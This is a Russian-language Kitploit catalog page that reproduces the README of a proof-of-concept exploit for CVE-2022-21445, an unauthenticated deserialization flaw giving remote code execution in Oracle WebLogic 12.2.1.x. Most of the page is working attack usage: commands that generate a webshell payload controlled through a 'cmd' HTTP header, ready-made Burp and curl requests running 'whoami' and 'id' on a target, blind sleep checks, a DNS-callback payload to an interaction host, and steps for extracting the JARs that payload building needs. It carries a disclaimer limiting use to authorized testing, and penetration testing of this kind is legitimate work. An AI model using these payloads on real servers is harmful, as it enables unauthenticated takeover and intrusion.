Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-21445 — Exploit for CVE-2022-21445 of Oracle Weblogic 12.2.1.X | Kitploit
Инструменты/GitHubGitHub/necr00/cve-2022-21445
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Exploit for CVE-2022-21445 of Oracle Weblogic 12.2.1.X

Репозиторий
515 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-21445 Exploit - PoC

Этот набор инструментов генерирует эксплуатационные полезные нагрузки для CVE-2022-21445, критической уязвимости десериализации Java, затрагивающей Oracle WebLogic Server 12.2.1.x с Oracle ADF Faces.

Ошибка существует в компоненте RemoteApplicationResourceLoader и позволяет злоумышленнику отправить специально сформированный HTTP GET-запрос, вызывающий небезопасную десериализацию. Успешная эксплуатация может привести к неаутентифицированному удаленному выполнению кода (RCE) на целевом сервере.

Предварительные требования

ТребованиеВерсияНазначение
Python3.6+Запуск скрипта эксплойта
JDK1.8 (рекомендуется 8u202)Компиляция и запуск генератора полезной нагрузки Java
Weblogic12.2.1.XУязвимые версии

Руководство по установке

Установка JDK 1.8

Полезная нагрузка должна быть скомпилирована с JDK 1.8, чтобы соответствовать среде выполнения Java на целевой системе.

root@kitploit:~
# Используйте SDKMAN:
sdk install java 8.0.402-tem

# Выберите java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Должно показать 1.8.x
javac -version   # Должно показать 1.8.x

Использование

Генерация полезной нагрузки веб-шелла

Создает полезную нагрузку, которая читает команды из HTTP-заголовка cmd и возвращает вывод в теле ответа.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

Вывод:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

Генерация слепой полезной нагрузки (Sleep)

Для слепого тестирования — подтверждает выполнение кода, если ответ задерживается.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

Отправьте полезную нагрузку и измерьте время ответа:

  • ~10 секунд: Выполнение кода подтверждено
  • Мгновенно (< 1 с): Полезная нагрузка не выполняется (несоответствие версий, исправлено или проблема с кодировкой)

Генерация полезной нагрузки с DNS-обратным вызовом

Для внеполосного подтверждения с использованием Burp Collaborator или аналогичного сервиса.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

Указание цели

Используйте --target, чтобы получить отформатированный вывод с правильным хостом и контекстным путем:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

Это форматирует запрос Burp и команду curl с правильным хостом и путем:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

Сохранение полезной нагрузки в файл

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

Отправка эксплойта

Использование Burp Suite

  1. Запустите скрипт для генерации полезной нагрузки
  2. Скопируйте раздел BURP REPEATER REQUEST из вывода
  3. Откройте Burp Suite → Repeater → Вставьте запрос
  4. Установите целевой хост и порт
  5. Нажмите Send
  6. Для веб-шелла: измените значение заголовка cmd, чтобы выполнять разные команды image

Устранение неполадок

В случае поврежденных Jar-файлов следуйте инструкции по установке нужной версии Weblogic и извлечению соответствующих Jar-файлов.

Это извлекает необходимые Oracle JAR-файлы из официального Docker-образа FMW Infrastructure.

root@kitploit:~
# Создайте каталог libs
mkdir -p libs/12.2.1.3
#или
mkdir -p libs/12.2.1.3

# Загрузите образ Oracle FMW Infrastructure 12.2.1.3 или 12.2.1.4
# Примечание: Возможно, потребуется принять лицензию на container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#ИЛИ
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Допустим, нам нужны JAR-файлы версии 12.2.1.4 (в случае 12.2.1.3 просто замените .4 на .3 в командах)

# Создайте временный контейнер (запускать его не нужно)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Извлеките требуемые JAR-файлы
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

Примечание: JAR-файл javax.mail (необходимый для кодирования MIME base64) автоматически загружается из Maven Central при первом запуске. Ручная настройка не требуется. Полезная нагрузка веб-шелла использует чистую рефлексию и не требует weblogic.jar во время компиляции.


Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности. Всегда получайте письменное разрешение перед тестированием систем, которые вам не принадлежат. Авторы не несут ответственности за любое неправомерное использование. Несанкционированный доступ к компьютерным системам является незаконным.


Ссылки

  • Oracle Critical Patch Update Advisory - April 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic
Скачать инструмент